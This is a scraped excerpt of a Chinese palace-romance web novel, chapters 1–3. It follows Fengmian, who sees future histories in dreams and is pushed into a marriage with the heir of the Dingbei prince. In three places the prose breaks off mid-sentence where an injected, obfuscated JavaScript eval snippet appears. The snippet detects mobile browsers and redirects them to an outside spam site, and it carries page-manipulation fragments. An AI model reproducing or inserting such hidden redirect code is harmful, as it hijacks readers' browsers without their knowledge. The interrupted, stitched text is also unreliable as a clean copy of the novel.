《春色入关来》 1. 第 1 章 春三月,和暖日光温柔倾洒,映得水面波光粼粼。 一柄舟楫捣碎平静水面,带起淋漓水声。 哒哒脚步声震得小舟一倾,惊起一道轻呼:“县主慢些!” 船头跑出来个一身杏红蹙金纱衣的少女,身后穿葡萄紫绣折枝小葵花衫裙的宫婢流萤急急追上两步,搀住少女微晃的身形,圆脸圆眼的稚嫩脸蛋上浮起不赞同的神色:“县主可当心些吧,在这小舟上跑得这般快,万一摔下去可如何是好。” “好啦好啦,我心中有数呢。”封眠正踮着脚往对岸张望,忙里抽闲地回首冲流萤安抚一笑。 岸边摇曳的叶间碎碎筛下一捧春光,在封眠精致的眉眼间跳跃,落进她一双黑润润的眼睛里,沁了水一般清透。 被她这般瞧上一眼,流萤什么脾气都没了,顺着她的视线一同望向对岸,纳闷道:“县主这是瞧什么呢?” 对岸水木明瑟,偶有莺啼燕语,半分人影也不见。 流萤瞥了一眼便收回视线,操心地便要将搭在臂弯的杏黄绣银蝶薄披风裹到封眠身上:“早春风凉,县主咳疾方愈,还是将披风系好,当心着凉。” “好流萤,我现下不冷。待会儿起风了再说。”封眠反手将披风抱进怀里,才回答流萤的前一个问题““今日舅舅不是设了春日宴,广邀新科进士游琼林苑,我来瞧个热闹。不过……人呢?” 对岸依然全无动静,封眠蹙蹙眉心,回想自己昨夜梦中所见的那段文字—— “承平十六年春三月,上御琼林苑,设春日宴。时日暖风酣,百卉含英,清平县主携婢女泛舟嬉游,着杏红蹙金纱衣,顾盼间如朝霞映雪,状元郎顾煦之于岸边惊鸿一瞥,久念不忘,后三日,亲叩宫门请婚。” 叶间抖落的日光犹如粼粼水光,将摇摇晃晃的视野中几行墨色文字映得分明。 梦中她飞快将手中的书翻至下一页,页首一行字深深印入她的脑海之中:“婚后琴瑟和鸣四十载,夫妇偕老,自成佳话。” 醒后她便匆匆换了衣裳,往琼林苑赶,乘上小舟来碰一碰书上所写的状元郎。 封眠已到了婚嫁之年,近日柔妃和太后频频关切她的婚事,拿来的画像要么是些金玉其外的败类,要么是她们不成器的娘家子侄,显然是想拿婚事好生蹉磨利用她一番。 婚事关乎女子一生的命运,她岂能任人拿捏?这几日她私下搜罗了满盛京青年才俊的信息,挑拣出几个还不错的少年郎,正思索着如何让皇帝舅舅先一步替她指婚,便又做了去往后世的梦。 这是自父亲亡故时她开始偶尔做的一个梦,她会在梦中去到一个奇怪的地方,那儿与她所生活的大雍截然不同,衣着古怪,房屋奇特,更有许多她从未见过的神奇物什—— 耀如白昼的琉璃灯,平整阔朗的长街飞桥,日驰千里的铁甲车…… 初时她被吓得不轻,为此大哭大病,差点把身边的人也吓出毛病来,后来她才渐渐弄明白,彼方世界距大雍千百年之遥,朝代数次更迭,大雍已成为史书中的文字。 她曾怀疑这是否只是庄周梦蝶,一切都是她臆想出来的。 但她在梦中特意去翻阅了有关大雍的史书,醒来后虽只记得一点点无关紧要的只言片语,比如大理寺卿因贪腐案被罢黜,比如承平十年时,四夷馆自番邦引入胡榛子…… 这些却在她醒后一一得到了印证。 封眠逐渐发现,只有与她相关的事,才能让她在梦醒后仍然清晰铭记。 这是上天赐予她,将命运掌握在自己手中的机缘,她定不会辜负。 所以在昨夜又一次梦到后世时,她便去翻阅提及自己婚事的史料,以便随时制宜。 没想到翻到的是好消息。 今科状元郎顾春温确是难得一见的青年才俊。听说殿试时,皇上只瞧他一面,便有意点他做探花,后来瞧见他文章写得比相貌还出色,才点了状元。 封眠为自己挑选的未来夫婿里,恰好也有他的名字。 此事若成,心头大患可解! 封眠正沉浸在前途一片大好的美妙想象里,波澜声忽起,一阵强烈的撞击感袭来,脚下小舟猛然震荡起来。封眠只觉被人自身后推了一把,整个人扑靠在船篷之上,接着便是扑通落水之声在身后响起。 她抓住船篷,迅速回首,只见身后流萤所站之处已空无一人。 方才千钧一发之际,是流萤将封眠推向船篷,自己则跌落水中。 悚然色变,封眠想也未想便纵身跃入水中。 流萤不会水! 初春的湖水依然冰冷,自四面八方向封眠裹来。她努力地在水流中睁开眼,看见一道正无助下坠的身影。 流萤落水时受惊呛了水,已然晕了过去。 封眠奋力游过去,抓住了流萤软而无力的手。 破水而出的两人摔在岸边,为封眠划桨的船夫扑通一声跪到封眠身侧,浑身打着抖,却一句话都不敢说。 封眠学着梦中看过的急救方法按压着流萤的胸膛,匆忙中瞪了那船夫一眼:“愣着干什么?去叫太医!” 船夫五体伏地,颤颤不敢擅动。 “妹妹怎么弄得这般狼狈?”一道熟悉的傲慢声音传来,封眠闻声抬眼。 一艘乌篷船不管不顾地将封眠的小舟挤到一边,船首立着翠玉明珰加身的昭宁公主褚景涟。她一脸倨傲地睥睨着,秀眉微挑,眼底暗藏着得逞的笑意,一手执象牙柄团扇,有一搭没一搭的扇着风。 怎么又是她? 封眠心下蹙眉,褚景涟是圣宠数年不衰的柔妃所出,自幼备受宠爱,只因封眠多得了些皇帝的关心,她便一直与封眠争风吃醋。两人从小不对付到大。 封眠这几日心烦,都是绕着褚景涟走。倒不是怕她,只是不想烦心事叠加烦人精,那真真得烦死人了。 今日封眠更是特意低调行事,只带了流萤出门,仅从池苑司借了一名船夫。如今被褚景涟带着人堵在此处,怕是无人敢替她去找太医。 封眠手下救人的动作不停,视线扫了一眼自己与褚景涟之间的距离,琢磨着若实在不行,她便冲到船上将褚景涟也推落水去,看她们还叫不叫太医。 幸而此时流萤呛出一口水,醒了过来。 “你醒了?感觉如何?能起身吗?”封眠瞬时便将褚景涟抛在了脑后,搀着流萤起身,“来,我带你回去,待会儿请太医来替你瞧瞧。” 流萤迷迷糊糊地跟着封眠起身,才看清封眠浑身湿透,湿发狼狈的黏在脸侧,搀着自己的手臂传来透骨的冰凉,意识到自己是被封眠所救,登时红了眼眶,急切自责起来:“县主您怎么能跳下去救奴婢呢!您、身上这么凉,回去定又要病了!” 流萤想把外裳脱下来给封眠披上,才反应过来自己亦是浑身湿透,溺水的难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036535|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受劲瞬间没了,手脚无措地忙乱片刻,转而扶住封眠,急吼吼要送她回寝殿。 被主仆二人无视了个干净的褚景涟气急了:“无礼!本公主让你们走了吗?” 四名宫婢应声下船,拦住封眠二人的去路。 方才救人时不觉得,这会穿着湿漉漉的衣服被风一吹,当真是透骨的凉。素纱中衣湿黏黏裹在皮肤上,沉闷闷的,呼吸都重了些许。 封眠只想快些回寝殿洗个热水澡,再用一碗姜汤祛寒,不想与褚景涟过多纠缠,便直截了当道:“我的身子骨你是知道的,再吹一会儿风,回去便会病倒。舅舅定会过问,我可是不会替你遮掩的。” “舅舅若知是你将我撞下船去,还不许延请太医,定要罚你。但你若现在让开,我可以当此时没发生过。” 往日褚景涟寻衅,总是会被嘉裕帝训斥。所以一旦封眠提及嘉裕帝,褚景涟就算再气,也会顾虑几分。今日却不知道为何,听了封眠的话,她几欲跳脚:“被父皇知道又如何!你休以为父皇偏宠你,我便不敢动你!我是堂堂公主,怕你不成!” 饱含着怒火的尖利嗓音刺入封眠的耳膜,她头都开始痛了。 既然不让她走,那便干脆不走了。春日宴就在今日,皇上早晚会携众进士过来,到时候…… 在褚景涟震惊的目光之中,封眠拉着流萤一屁股坐到地上,冷静问道:“那你想怎么样?” 褚景涟一时语塞。 看见封眠在船上时,褚景涟就想着要将她撞下水。见她着急救人找太医,便不想遂了她的愿。她想走,就偏要留她。 但现下封眠不走了,褚景涟倒不知道要拿她怎么样了。 总不能……总不能真冲上去将她打一顿? 诡异的沉默蔓延开来,封眠和褚景涟大眼瞪大眼。 封眠几乎要被褚景涟气笑了:“怎么,你就想跟我这样耗着吗?” 脑袋嗡嗡的,不算炙热的阳光在眼前连成大片的白斑,封眠有些受不了地眨眨眼,侧首避开直射的日头。 这细微的小动作被褚景涟捕捉到,她立即又骄傲地扬起了下巴,趾高气扬道:“对啊,本公主就在这儿看着,让太阳晒死你!” 语气凶巴巴,不知道的还以为现下不是三月融暖春日,而是七月酷烈暑日。 随侍在褚景涟身侧的贴身宫婢碧桃悄悄松了口气,若公主真要她们这些奴婢对县主这样那样,伤了县主,惹怒了皇上,可就真不好收场了。 如此甚好,静坐对峙,不到一炷香的时间,公主就该无聊了,到时她们溜之大吉,再悄悄让底下的宫人把县主送回去…… 碧桃的美好幻想戛然而止,她睁大了眼看着岸边,惊恐地扶上褚景涟的手臂:“公、公主,县主晕过去了!” 岸上,方才还好端端坐着的封眠如被风折断的柳条一般,啪唧就摔进了流萤的怀里。 流萤也呆住了,受惊的老母鸡一般扑腾着双翅抱住封眠:“县主?县主你别吓奴婢啊!” 褚景涟强自镇定地抓住碧桃的手,示意另一名宫婢下去查看情况:“都不要慌,她定是装的!还不快给本公主醒过来!” 恰在此时,身后遥遥传来另一侧岸上嘉裕帝困惑的声音:“昭宁?你在此处作甚?” 褚景涟僵立原地,惊惧之情化为愤怒的目光直瞪向晕倒的封眠:该死,她定是瞧见父皇来了,故意晕的! 2. 第 2 章 “你是怎么想的?竟当着陛下的面将清平撞落水?”柔妃斜倚在铺着织金软褥的紫檀木榻上,有些头痛地单手扶额,榻边一支和田玉博山炉中燃着宁神解郁的清心香,袅袅轻烟丝缕盘旋。 褚景涟委屈巴巴地跪坐在柔妃面前:“女儿没有当着父皇的面撞她……” “阖宫上下如今都是这般传的,你说没有就没有?”柔妃音色柔和,并未带斥责之意,只有对爱女的无奈纵容:“本宫是不是与你说过,这几日不许去找清平的麻烦?” “我就是不服!”褚景涟忽地像是被踩了尾巴的猫似的炸了,“明明我才是父皇的女儿,凭什么父皇处处替她着想?特特办了个春日宴考察新科进士,为她择婿,却要将我嫁去北疆那蛮荒之地?” 褚景涟真要落下泪了:“母妃,女儿不想嫁!” 柔妃一双罥烟眉蹙了起来,染了蔻丹的指甲不自觉地嵌进柔嫩的掌心,冷哼道:“你第一天知他偏宠清平吗?清平是你父皇最喜爱的姐姐安乐公主留在这世上唯一的血脉,是个父母皆丧的可怜丫头,又生得越来越像当年的安乐公主,你父皇怎么可能不怜惜她?” 封眠的母亲安乐公主是先帝的小女儿,较嘉裕帝稍长两岁,自幼对他颇有照拂。嘉裕帝极为敬爱这位姐姐,只可惜安乐公主红颜薄命,生封眠时难产而亡,夫婿镇国大将军彼时却还远在千里之外的南疆。 那时嘉裕帝才刚刚登基,气恼大将军封辞胥轻忽阿姐,间接致阿姐难产,不顾满朝文武与太后的反对,下旨代安乐公主休了夫婿,将封眠接进宫中亲自抚养,事事躬亲。 柔妃眼底涌动着晦涩的凉意,活着的人,总是争不过死人的。就算她宠冠后宫,她的涟儿在陛下心里的地位,也抵不过一个封眠。 但涟儿还有她,她自会为涟儿谋划好一切。 “陛下只是在太后面前略略透了些口风,连圣旨都未下,还有转圜的余地。”柔妃起身下榻,温柔地揽过褚景涟,爱怜地摸了摸她的头,“你阴差阳错害清平高热未醒,倒让母妃想到一个好主意。” “这几日你便老老实实地待在寝宫里领罚,莫要胡思乱想。有母妃在,自不会让你受委屈。” 褚景涟依恋地窝进柔妃的怀中。 窗外,晴日朗朗。 暑月殿。 四扇雕花朱窗大敞着,明媚阳光洒落一室。暖风穿堂而过,卷入几片杏花,恰掠过一双步履匆匆的鞋面。 流萤端着一碗药行到罗帐重重的床榻前,着急地看向守在一旁的雾柳:“醒了吗?” 雾柳细眉紧蹙着,摇了摇头。 “那劳什子批命定是骗人的,郡主虽说退了烧,可醒不过来有什么用……”流萤嘟嘴咕哝着,被雾柳轻轻瞪了一眼,捂住嘴不敢再多言。 遍地绣玉堂富贵纹罗帐内,封眠浓黑的睫毛颤了颤,缓缓睁开,映入眼帘是在日光中轻荡的流苏垂幔。 大病后初醒的脑袋昏沉沉,四肢无力地陷在身下堆叠如云的软褥之中。 她正恍惚今夕何夕,一个梳着双丫髻的脑袋咻地探进褚风眠的视野中。流萤惊喜嚷道:“醒了醒了,郡主醒了!” “快端茶来。”雾柳吩咐着,一只手轻轻撑在封眠背后,扶着她坐直身子,一杯温热清茶也恰好杯递到了封眠的唇边。 封眠就着流萤的手抿尽了一杯茶,才终于醒了神,干涩的喉舌得以舒缓。她清清嗓子问道:“几时了?” “巳时方过。”流萤见封眠终于醒了,喜不自胜,又怕自己吵着她,眼巴巴地等着她发问才口。 一旁雾柳跟着补充一句:“郡主已经昏迷五日了。” 流萤见缝插话:“真真急死人啦!” 封眠一怔,她昏迷了五日? 完了,那日突发意外,她都忘了春日宴和状元郎的事,昏过去之前她连状元郎的人影都没瞧见,更何谈“宫门请婚”啊! 史书上写的事竟也能不成真?她看的莫不是野史吧? “郡主?郡主?”流萤担忧地晃晃封眠的手臂,“怎么突然不说话了?可是有哪里不舒服?哦对,药,郡主先把药喝了吧?” 她这一迭声的唤着,让封眠注意到另一处不对劲的地方:“你叫我什么?” 封眠顺手接过药,面不改色地仰首将黑漆漆的药喝净,拈起一粒蜜饯去去嘴中的苦味,便听雾柳回话:“陛下有旨,特晋封您为清平郡主,并破例与昭宁公主享同等食邑。” 这不对劲。即便这是落水的补偿,也太丰厚了些。 这时褚风眠发现流萤神色不对,方才问话时,一向叽叽喳喳的流萤便缄口不言,此刻更是丧眉搭眼,摆明了揣着心事。而雾柳一向冷静持重,如今那清淡如水的细眉长眼上也染了几丝忧虑。 “出什么事了?” 流萤眼眶一红就要啪嗒啪嗒落泪,被雾柳拿帕子硬捂住了眼。皇帝赐婚毕竟是件喜事,若是哭天抢地地被旁人瞧了去,大家都要倒霉。 雾柳谨慎措辞:“前日陛下见郡主昏迷不醒,高烧不退,心急如焚。太医束手无策,柔妃娘娘便请了几名术士来看,陛下又召了司天监来,都说观郡主命盘,乃是孤星照命,刑克六亲,又有病符星侵疾厄宫,这才自幼体弱多病,药石不断。” “如今高烧不醒也是为这命格所碍,半只脚迈入了鬼门关,恐难救回。陛下求破解之法。司天监便说,或许可以用未来夫婿的命格压一压。柔妃娘娘便将满京才俊的八字都搜罗了来,不知怎么的,里头混入了定北王世子的八字……” 封眠顿时了然:“所以他们说,定北王世子与我八字相合?” 雾柳点点头:“司天监并几名术士都说,世子恰是郡主命格的“天乙贵人”与“解神星”,可化克为生,解厄消灾,又道郡主与世子二人夫妻宫共振,福荫绵长,长久以往,郡主可“灾星退度,吉曜临宫”,终得平安顺遂,福寿可期。” “陛下听了,立即便晋封您为郡主,为您与定北王世子赐婚。” “圣旨一出,当晚您就退烧了。陛下因此对命理之说深信不疑,挑了最近的吉日,也就是六月初六做婚期。” “最迟月底我们便要出发去北疆了……”流萤捂住眼睛抽抽噎噎:“陛下怎么舍得将郡主嫁去北疆那样的蛮荒之地呢?还是个那样的夫婿……听说世子身高九尺,青面獠牙,能手撕蛮夷,是个茹毛饮血的野蛮人,如何能配得上郡主?” 流萤嘀咕着,声若蚊蚋。 封眠在榻上呆坐了半晌,愈发笃定她在梦中怕是看了本野史,只能将状元郎抛诸脑后,转而问道:“柔妃怎么会有定北王世子的八字?” 定北王一家远在北疆,戍边多年未曾返京,小世子的八字这种隐私信息怎么会流到盛京后宫一名妃子手中? 这个问题的答案,雾柳已经在封眠退烧后悄悄打听清楚:“奴婢打听到,陛下曾有意为世子与昭宁公主赐婚。” 流萤震惊得双眼溜圆,颤抖着唇道:“所以、所以她不愿昭宁公主远嫁,便设计将咱们郡主推出去了?真是欺人太甚!郡主,您去求求陛下吧!” 雾柳摇摇头:“陛下如今全然信了命理之说,认定世子便是郡主的‘解厄星’,绝不会轻易毁婚。” 封眠自幼体弱,嘉裕帝没少为她的身子骨头疼,生怕她年幼夭折,好不容易养到如今这般大,身子骨较幼时康健不少,突逢意外,嘉裕帝自然是病急乱投医。 柔妃这回可算是拿捏到命脉了。 封眠叹气,封眠头疼。高烧数日让她本就不够强壮的身子雪上加霜,反正离月底还有时日,还是先睡觉好了。 简单用过一碗粥后,封眠便又昏沉沉睡了过去,待她终于睡足醒来,已快到酉时。 寝殿内静悄悄,封眠拉伸四肢伸了个懒腰,病后的疲乏倦怠已消了大半,她撩开床幔要喊人时,却见床榻旁置了盏小几,身高腿长的嘉裕帝屈着腿坐在小几后,正在批奏折。 “舅舅?”封眠懵了一瞬,就要下榻。 “坐着别动。”嘉裕帝丢下手头刚写了一半的字便坐到榻边,将封眠摁回被窝里,试完她手上的温度又去试额头的温度。 封眠乖巧地跪坐在床榻上,看见嘉裕帝眼下的青黑之色,便知自己烧这几日,他也没有睡好,心下感动又愧疚。 “我已没事啦。舅舅是几时来的?怎么不喊醒我?” 确认封眠没有再次发热的迹象后,嘉裕帝才算松了口气:“朕半个时辰前议完事便过来了。见你睡得香,便没叫人打扰你。你大病初愈,正需要养好精气神,这几日便好好在寝殿歇着吧。” “我都躺了五日了,早也躺够了,还要歇啊?”封眠小小地不满。 嘉裕帝冷哼一声:“你还好意思提?朕从前是如何教你的?千金之子坐不垂堂。百金之子不骑衡。你可还记得这是何意?” 他生得温润俊逸,瞧着便是一副好脾性,一双凤眼却凌厉威严,严肃起来盯得人心中发慌。 封眠早就猜到他必会批评,一脸柔顺地恹恹垂首:“是说富贵之人应远离危险之地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036536|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,避免灾祸。” “既然知道,还轻贱自己的性命,去救一个奴婢?你可知自己此番险些便醒不过来了?”嘉裕帝说着,愈发来气,若他是个昏君,这几日太医院上下已经没人了。 封眠丝滑认错:“舅舅,我错了。” 那可怜巴巴、乖顺知错的模样,让嘉裕帝气消了大半,也不忍再苛责,便只道:“前几日你病着,需要贴身的人伺候,朕便未罚那个奴婢。现下你既痊愈了,让她去宫正司领罚吧。” 封眠小鸡啄米般点点头,看起来全世界都找不到比她更乖顺的人了。 片刻后才复又犹豫道:“若说置我于险境之罪,舅舅怎么罚她都没错。但当时流萤也是为了救我才落水,要是罚她受刑,怕是让人寒心。舅舅不若看在她舍命护主的份上,免她□□之苦,只罚三月俸银如何?” 嘉裕帝点点她的额头,摇摇头道:“你啊,与你娘一样心软,见不得身边的人受苦。罚了她的俸银,难道你就不会贴补她吗?” “绝对不会!”封眠作发誓状,又补充道:“就算月底启程去了北疆,我也绝对严惩不贷!” 提及北疆,嘉裕帝的那点不满意顿时化作了心疼,在封眠恳切的目光中应允了:“依你就是。” “多谢舅舅!”封眠亲昵地挽住嘉裕帝的手臂,心下松了口气。以退为进这一招在嘉裕帝这里永远有效,年幼的封眠用血淋淋的经历验证了这一条真理,自那之后,她方知识时务者为俊杰。 嘉裕帝慈爱地拍了拍封眠的头,沉吟道:“朕听说了一些与定北王世子有关的传言,你莫要忧虑,那些大多为夸大不实之言。” “定北王偶尔会在奏折中提上一两句家中琐事,说他那独子骁勇善战,有勇有谋,最是孝顺听话,左邻右舍都赞他昂藏七尺,少年英侠。” 其实封眠也想得到,嘉裕帝并不是什么凶恶的父亲,他既然有意把褚景涟许配给定北王世子,就说明他也是有些过人之处的。 “朕前些日子命定北王为世子做了幅画像送来,正好今日与你一同瞧瞧。”嘉裕帝唤来殿外侍候的内监。 一名小内监手上捧着幅画轴,在两脸期待的嘉裕帝和封眠面前站定后,展开了画轴。 封眠:“……” 嘉裕帝:“……” 看清画像内容的两人齐齐陷入了沉默。 看得出来北疆这偏远战乱之地并没有什么好画师,画像上的生物只能说是初俱人形。 嘉裕帝干巴巴地:“这孩子生得双目一口,确实不是青面獠牙的凶神恶煞之相……” 绞尽脑汁夸出这么一句,嘉裕帝再无话可说。 封眠只能跟着点头,干巴巴地附和道:“北疆的画师风格与盛京迥异,估摸着只求个神似,本人或许……” 嘉裕帝忽然扭头问道:“你可有心上人?” 封眠:? 嘉裕帝:“若你有心上人,朕便将他编入送亲队伍里,与你做个面首罢了。” 封眠逐渐睁大了眼:“舅舅?” 嘉裕帝:“没有?罢了,你整日在这宫中,确实见不到什么优秀的男子。这样,朕往你的送亲队伍里多塞些青年才俊。你去到北疆后,若不喜那定北王世子,另开府邸,另觅郎君便是。” “只是他命格于你有益,这夫妻还是要做的。” 就差将“咱们只图他的命格,不图他这个人”直接讲出口了。 封眠好笑之余又有些感动,虽说这桩婚事是柔妃一手筹划的阴谋,但嘉裕帝却是真心在为她着想。 哪怕这一切都只是看在她与母亲相似的份上,也是极好极好的了。 嘉裕帝想到便要做到,叮嘱封眠好好休养之后,便急匆匆去安排送亲队伍。 无所事事的封眠躺下,又进入了梦乡。 这一睡,便到了夜半。 寝殿内唯余一盏烛灯照明,影影绰绰映出床幔内封眠惊坐而起的影子。 守夜的雾柳听见动静,举着盏灯,挑开床幔,担忧道:“郡主,可是做噩梦了?” 封眠闭了闭眼,疲惫又心惊。 她在梦中又去到了后世,四处查索,发现所有的史料中都记载着她被赐婚与定北王世子一事,状元郎的宫门求娶消失得无影无踪,随之便是另一个让她惊骇不定的另一史实,她本疑心自己又读到了野史,但她多方查证,发现各种记载都惊人地一致—— “承平二十一年冬十月,定北王世子弑君谋反,事败伏诛。太子平乱,尽夷其族。” 3. 第 3 章 天光大亮,封眠抬腿下床,披上雾柳递过来的天青色旧衫去洗漱。 几名穿着鸦青色衫裙的小宫婢正在寝殿内忙着摆朝食、熏衣裙,见着封眠起身,轻手轻脚地向她行礼。 手帕在铜盆里温热的玫瑰露水中浸过,雾柳拧净了水,替封眠细细抹着脸,一面轻声细语地与她说话:“方才前头来回话了,陛下说午膳便与郡主一同在柔妃殿中用。” 封眠点点头,细细刷了牙,又从流萤手中取过金玉盏,用沉香蜜水漱了几遍口,紧绷的神经才感觉到片刻舒缓。 昨天后半夜她几乎没能睡着,一直在反复回想梦中能记起的一切信息,却只能记起零星几句与她有关的信息。 因为正史中似乎并没有确切地提及过定北王世子谋反后,已经嫁为世子妃的她的结局,所以后人对她的结局众说纷纭。有人推测她被皇帝提前救回了盛京,有人推测世子拿她要挟皇帝,她被皇帝鸩杀,还有人猜测她早就死在了世子造反前。 封眠无从判断哪一条是真相,但至少她知道了“定北王世子会谋反”。她与舅舅,与许多许多人,都将在这场政变中丧命。 起初寒入骨髓的惊惧逐渐平复后,封眠冷静下来,想到她那桩更易的婚事,猜测这些被记载下来的史实并不是不可更改的。比起想尽办法取消婚约,她更希望嫁过去,寻找应对之策,或许有机会阻止一场流血的政变。 嘉裕帝并不是昏庸的帝王,如今的大雍政通人和,正是蒸蒸日上之际,如果定北王世子谋反只是为私欲所驱,她便要在一切开始前,先想办法杀了他。 如今是承平十六年,距离世子谋反的承平二十一年还有五年之久,一切都还来得及。 * 承禧宫,柔妃当着嘉裕帝的面,亲自将封眠领到座位坐下,一脸慈爱地瞧看着她:“清平瞧着脸色红润了不少,看来身子是真的大好了。” “今日本应唤你昭宁姐姐一道用膳,让她与你赔罪,但想着她如今正在小佛堂罚跪,每日粗茶淡饭的,今日若是破了例,倒是奖励她了,便罢了。就让她好生反省反省,看下次还敢不敢开如此不知轻重的玩笑。” 前半句柔妃还是对着封眠说的,后半句却是看着嘉裕帝说的,明摆着是在卖乖:瞧我们涟儿可是在认真受罚,诚心悔过,可受了不少苦,这一切毕竟只是女儿家无心的玩笑,快心疼心疼她,暂且解了禁吧。 不等嘉裕帝开口,封眠先出言称赞:“怪道大家都赞娘娘最是公正无私,有母如此,想来昭宁姐姐再不会犯无心之错了。” 柔妃脸上的笑意微不可察的僵了僵,才顺着接话道:“这点小事哪里当得起公正无私四个字,任何一个做母亲的都该如此,岂能包庇子女犯错?涟儿受罚不能亲至,我这个做母亲的,便先代她赔罪了。” 柔妃说着,竟要起身向封眠致歉。封眠忙拉住她的手,阻了她动作,并情真意切道:“娘娘不必如此。我还未谢过娘娘为我劳心劳力,促成一桩良缘之事。日后若我真因世子的八字而灾星退度,吉曜临宫,真不知要如何谢娘娘呢。” “此番我虽是因昭宁姐姐而病危,却亦是因娘娘而得了转运消灾之机,如此看来,祸兮福倚,功过相抵。娘娘莫要再提赔罪之事,更别送什么赔礼了。” 封眠说着,向身后雾柳示意,她将带人侯在外头的流萤领进来,将手中各色礼盒放下。这些都是柔妃听说封眠醒了之后,遣人送去的赔礼,今日全被封眠原封不动地搬回来了。 柔妃怔了证:“清平这是何意啊?” “北疆地远,路上还有颇多匪患,我便想着还是不要带许多东西上路了,平白劳费人力。如娘娘所赠这些金银玉石,便不带了。”封眠笑盈盈的,一派不谙世事的天真模样:“北疆广袤,不如将金银都换了地契商铺吧,到时钱生钱,这些东西我再买来就是了。” 一番天真发言惹得嘉裕帝好笑摇头:“你这丫头都想些什么呢?难道朕会让你一人上路不成?自会有禁军一路护卫。什么人敢不长眼袭击皇家车队?再者说,盛京乃辐辏之地,有些东西岂是你去了北疆想买便能买到的?” “柔妃予你的东西,留着做添妆便是。至于地契商铺,朕自然会给你置办。” 封眠顿时高高兴兴地谢了恩,又给柔妃带了一通高帽,直言天下人若知柔妃为她添妆,定要赞她贤淑良善,惹得柔妃不得不开口:“这么点子赔罪用的小玩意儿,哪里当得起郡主的添妆?赔罪之物只用来赔罪,给清平的添妆我另有准备。” 这般大方地说着,柔妃的心却在滴血。赔罪的东西说是珍玩,实则都是些她不喜欢的物件,拿来做面子情敷衍了事的,更是没打算开自己的私库为封眠添妆。封眠的嫁妆有皇上从库房里拨,还不够丰厚吗? 如今被这般架着,倒不得不割些肉下来,才能全了面子。 一顿饭柔妃食不知味,封眠倒是高高兴兴地走了,活像个打秋风成功的穷亲戚。 她是打算去北疆做一番大事的,手上的钱财自然是越多越好。 是以她也不急着回宫,脚下一拐,又往东宫去了。 东宫太子褚景泽是先皇后嫡出,年长封眠七岁,自幼也被嘉裕帝带在身边悉心教导,还帮着一起带过小婴儿封眠,被她尿湿了不止一件袍子,待她比待几位亲妹妹还要亲厚。 都不需封眠主动提,褚景泽便已把备好的添妆单子递上了。 太子殿下整洁肃穆的书房内,封眠坐没坐相地靠在透雕如意云纹的紫檀圈椅之上,一面吃着点心,一面看手中的添妆单,笑得见牙不见眼。 那单子上除了各种金银玉器,还有许许多多的生活小物,细致得不得了。 褚景泽看着封眠没心没肺的模样,幽幽叹一口气:“不过几件死物便这般高兴?你自幼几乎没出过盛京,可知北疆是何模样?你这身子骨到了那儿,吹不了几阵风就折了。” “哪有像你这般咒人的?”封眠不大乐意,转眼看见手中添妆单又乐起来,“再说,这不是有太子哥哥送的许多珍惜皮毛,拿来做披风,够我里外裹上七八层,一个月都不重样了。还有这些手炉,金的玉的银的……都能把我埋起来了,还怕冻着吗?” 彼此朝夕相处许多年,褚景泽如何看不出封眠的反常,当即问道:“你往日可不是这般贪财的人,怎么,莫不是打算半道跑路吧?” 她是那样不负责任的人吗?!封眠自添妆单上方送了褚景泽一个气鼓鼓的眼神,却又无论如何不能将梦中之事说出口。 幼时她因这种梦好好吃了一番苦头。当时太后认为她沾了邪物,避着人悄悄将她关进道观,不供水米,生生灌了她七日符灰水,险些便病得一命呜呼。 自然,褚景泽不会告发她仍在做这种梦,但他会不会相信她也不好说。就算他信了她,她也还不知道定北王府是什么情况,史书上的冤假错案并不算少,万一定北王此时并未打算谋反,倒是他们将人逼反了。 凭未来之罪责罚今日之人,委实有些不公平, 封眠幽幽叹一口气,除了认命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036537|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她难道还有别的办法吗?说不定真如那些术士和司天监所言,去北疆嫁了世子,她的身子能慢慢好起来。 褚景泽微微垂眸,辨不清眼中神色,似乎有些伤怀自恼:“若不是我那几日在城外,断不会让人将你算计至此……” 他得了消息,紧赶慢赶地回来,终究还是晚了一步。柔妃将事情处理得很干净,一时竟也抓不到什么把柄。一步慢,步步慢,东宫的僚属也不愿他为查封眠一事,与如日中天的柔妃母族罗家对上,此事就这么成了定局。 “真内疚啦?”封眠歪着身子探头去瞅他脸色,忙不迭双手捧上添妆单,“那你再添些宝贝。我过得好些,你心里肯定就好受了。” 褚景泽:“……” 褚景泽失笑,依言接过了添妆单,提笔问道:“说吧,还想要什么?” 封眠兴致勃勃地凑上前点起宝贝来。 书房外描金刻彩的回廊上,手端漆木托盘的侍女榴月气恼地跺了跺脚,斜瞪着拦在门口的侍卫:“什么书房是机密之地不得入内,清平郡主进得,我们太子妃就进不得了?” 